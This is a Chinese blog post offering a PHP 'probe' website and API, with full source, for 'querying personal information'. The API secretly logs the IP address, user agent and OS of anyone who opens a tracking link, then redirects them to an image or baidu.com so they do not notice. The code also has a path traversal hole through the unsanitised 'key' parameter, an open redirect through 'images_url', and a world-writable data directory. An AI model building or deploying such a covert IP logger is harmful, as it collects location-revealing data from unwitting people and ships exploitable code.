网站

一款基于PHP的专业查询个人信息的网站.

  • 首页
    1
    自定义设置探针页面,探针功能,QQ分享,通知邮箱等.
  • 查询
    2
    探针查询页面列表显示更加清晰,直观.
  • 后台
    3
    探针管理页面可对探针进行详情查看和删除.
  • 设置
    4
    设置网站功能发信相关,代码等.

下载源码(提取码:c66d)

API

一款基于PHP的专业查询个人信息的API.

<?php
	error_reporting(0);

	function get_user_system($ua){
	    if(strpos($ua, 'Windows')){
			$system = 'Windows';
	    }
		elseif(strpos($ua, 'Macintosh')){
			$system = 'MacOS';
	    }
		elseif(strpos($ua, 'iPod')){
			$system = 'iPodOS';
	    }
		elseif(strpos($ua, 'iPad')){
			$system = 'iPadOS';
	    }
		elseif(strpos($ua, 'iPhone')){
			$system = 'iOS';
	    }
		elseif (strpos($ua, 'Android')){
			$system = 'Android';
	    }
		elseif(strpos($ua, 'Unix')){
			$system = 'Unix';
	    }
		elseif(strpos($ua, 'Linux')){
			$system = 'Linux';
	    }
		else{
			$system = '未知';
	    }
	    return $system;
	}

	function return_json($state, $info){
		$result = array(
			'state'=>$state,
			'info'=>$info
		);
		exit(json_encode($result, JSON_UNESCAPED_UNICODE));
	}

	$type = $_GET['type'];
	$key = $_GET['key'];
	if(empty($type) == true or empty($key) == true){
		return_json(100, '参数错误');
	}
	$images_url = $_GET['images_url'];
	$ip = $_SERVER['REMOTE_ADDR'];
	$ua = $_SERVER['HTTP_USER_AGENT'];
	if(empty($ua) == true){
		$ua = '未知';
	}
	$data_dir_path = './probe_data/';
	if(is_dir($data_dir_path) == false){
		mkdir($data_dir_path, 0777, true);
	}
	$data_file_path = $data_dir_path.$key.'.json';
	if($type == 'generate'){
		if(file_exists($data_file_path) == false){
			fopen($data_file_path,"w");
			return_json(200, '生成成功');
		}
		else{
			return_json(200, '已存在');
		}
	}
	elseif($type == 'record'){
		if(file_exists($data_file_path) == true){
			$data = json_decode(file_get_contents($data_file_path), true);
			if(array_key_exists($ip, $data) == false){
				$data[$ip] = array(
					'ua'=>$ua,
					'system'=>get_user_system($ua)
				);
				$data = json_encode($data);
				file_put_contents($data_file_path, $data);
			}
			if(empty($images_url) == true){
				header('location:https://www.baidu.com/');
			}
			else{
				header('location:'.base64_decode($images_url));
			}
		}
		else{
			return_json(200, '不存在');
		}
	}
	elseif($type == 'query'){
		if(file_exists($data_file_path) == false){
			return_json(200, '不存在');
		}
		else{
			$data = json_decode(file_get_contents($data_file_path), true);
			return_json(200, $data);
		}
	}
	else{
		return_json(100, '类型错误');
	}
?>
名称 必填 备注
type generate代表生成,record代表记录,query代表查询
ket 密钥
images_url 记录后跳转的图片网址

本博客所有文章除特别声明外,均采用CC BY-SA 4.0协议,转载请注明出处.

3种方法加密Python文件 上一篇
PHP循环语句 下一篇